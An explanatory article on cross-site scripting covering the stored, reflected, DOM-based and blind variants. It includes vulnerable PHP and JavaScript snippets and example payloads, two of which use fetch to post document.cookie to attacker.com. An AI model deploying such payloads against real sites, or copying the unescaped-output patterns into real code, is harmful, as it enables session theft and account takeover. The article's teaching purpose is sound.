What is Cross Site Scripting (XSS)

Cross-Site Scripting (XSS) is a technique that exploits web applications by injecting scripts into pages that users trust, so that malicious code is run in their browsers. This code (typically Javascript) runs in the browser with the same level of trust and permissions as legitimate scripts from the site. The root of the problem lies in how web applications handle user input: when applications include user-supplied content in their output without validating or encoding it correctly, attackers can insert scripts that are executed by the browser as if they were part of the original page.

The problem is that browsers assume scripts from a trusted site are also trustworthy, and XSS attacks exploit this by fooling the browser into running harmful scripts within the vulnerable site’s own context. This way, XSS breaks the browser’s fundamental isolation mechanism, known as the Same-Origin Policy. What this means in practice is stolen cookies, compromised user accounts, or even a small foothold for attackers to later exploit for bigger intrusions.

The name “XSS” was coined around 2000 to avoid confusion with another web technology, Cascading Style Sheets (CSS), but the issue itself goes back to the simpler web of the late ’90s. Over time, XSS vulnerabilities have evolved to keep up with technological changes, from static pages in the dot-com era to complex single-page apps built on frameworks like React or Angular today. Leaps in technology haven’t eliminated XSS, which always finds a new place to hide.

Despite its age and familiarity among web developers, XSS is still prevalent and remains near the top of vulnerability lists like OWASP’s Top 10. As of 2021, it’s been folded into the broader “Injection” category alongside SQL and command injections, reflecting the core architectural issue XSS represents: treating user input as trustworthy even when it’s not. From a compliance perspective, standards like PCI DSS (e.g., requirement 6.5.7) and GDPR explicitly require organizations to address XSS because of its recurring role in breaches.

The persistence of XSS isn't just technical. It's actually rooted in design and remains relevant because dynamic web applications blur boundaries. Therefore, understanding XSS is as much about closing a security hole as it is about recognizing that implied trust becomes an opening for attackers.

Cross-Site Scripting works by taking advantage of the way web applications build pages from user input. If an application doesn’t cleanly separate what users write from what the browser should interpret as code, it can end up inserting unintended scripts into its own output. When that happens, the attacker’s code gets served by the website itself, and the browser runs it as if it belongs there.

Stored XSS is the most damaging. The malicious code gets saved on the server - typically in places like comment fields, user profiles, or feedback forms. Every time someone views that page, the code runs in their browser. No need to trick the user into clicking anything; the site does the work. This kind of attack can sit quietly for days or months, waiting for an admin or user to trigger it.

    Here's what a vulnerable comment section might look like:

php
CopyEdit
<!-- This malicious comment gets stored in the database and executes every time ANY user views this page -->
<div class="comment">
<?php echo $_POST['comment']; ?> <!-- Dangerous: unescaped user input -->
</div>

    An attacker might submit the following payload:

html
CopyEdit
<script>
  fetch('https://attacker.com/steal', {
      method: 'POST',
      body: document.cookie });
</script>

The payload is saved in the database and silently executed in the browser of every user who visits the page, potentially leaking session cookies or sensitive information to the attacker.

Reflected XSS doesn't stick around. It bounces off the server in real-time. The attacker crafts a URL that includes a script as a query string or form input. The server reflects that input back into the page, and the browser runs it. The trick here is delivery, which is usually done through phishing or instant messages designed to get someone to click that malicious link.

    Consider a website that reflects a search term directly in its response:

php
CopyEdit
<!-- Search results page -->
<h2>Search results for: <?php echo $_GET['query']; ?></h2>

    An attacker could craft the following malicious URL:

php-template
CopyEdit
https://example.com/search?query=<script>alert('XSS!')</script>

If a user clicks that link, the browser will execute the script. Attackers commonly deliver these malicious links through phishing emails or social media to steal cookies, redirect users, or execute other malicious actions.

DOM-based XSS doesn’t touch the server at all. It happens entirely in the browser, when client-side JavaScript reads from something like the URL hash or cookies and then writes it to the page without filtering. This makes it invisible to traditional logging and harder to detect. The vulnerability lives in the JavaScript itself, not in how the server responds.

    Here’s a plausible example of a DOM-based XSS flaw:

javascript
CopyEdit
// The vulnerability: reading from URL and writing to DOM
function greetUser() {
    const name = location.hash.substring(1); // Source: URL fragment
    document.getElementById('greeting').innerHTML = 'Welcome, ' + name; // Sink: innerHTML
}

    If the user visits a link like:

php-template
CopyEdit
https://example.com/#<img src=x onerror=alert('XSS')>

    the script in the hash fragment gets injected directly into the DOM and executed, without any server interaction.

A fourth variant, Blind XSS, adds another layer of complexity. It works like stored XSS, but the attacker doesn’t see the result. Instead, the payload waits in hidden places (admin dashboards, email systems, error logs) until someone with the right access opens the page. To know if it worked, the attacker might include a script that pings a server they control. These scripts can come from almost anywhere: input fields, URLs, headers, cookies, uploaded filenames, or even content pulled from third-party APIs.

    For example, an attacker might submit this payload through a contact form:

html
CopyEdit
<script>
  fetch("https://attacker.com/notify", {
    method: "POST",
    body: document.cookie
  });
</script>

The payload sits silently in the system until viewed in an admin panel or email preview tool. When an administrator opens the message, the script executes — without any user action — and sends session data or environment details back to the attacker.

XSS isn’t just about mischief. Once the script is running, it can steal session cookies, impersonate users, inject fake login forms, alter visible content, or even perform actions on behalf of the user (like changing settings or making transactions). In enterprise environments, it can serve as the first step toward accessing internal tools or moving deeper into a network.

In short, XSS works by exploiting trust on three levels: between the user and the site, the site and its code, and the browser and everything it receives from the origin.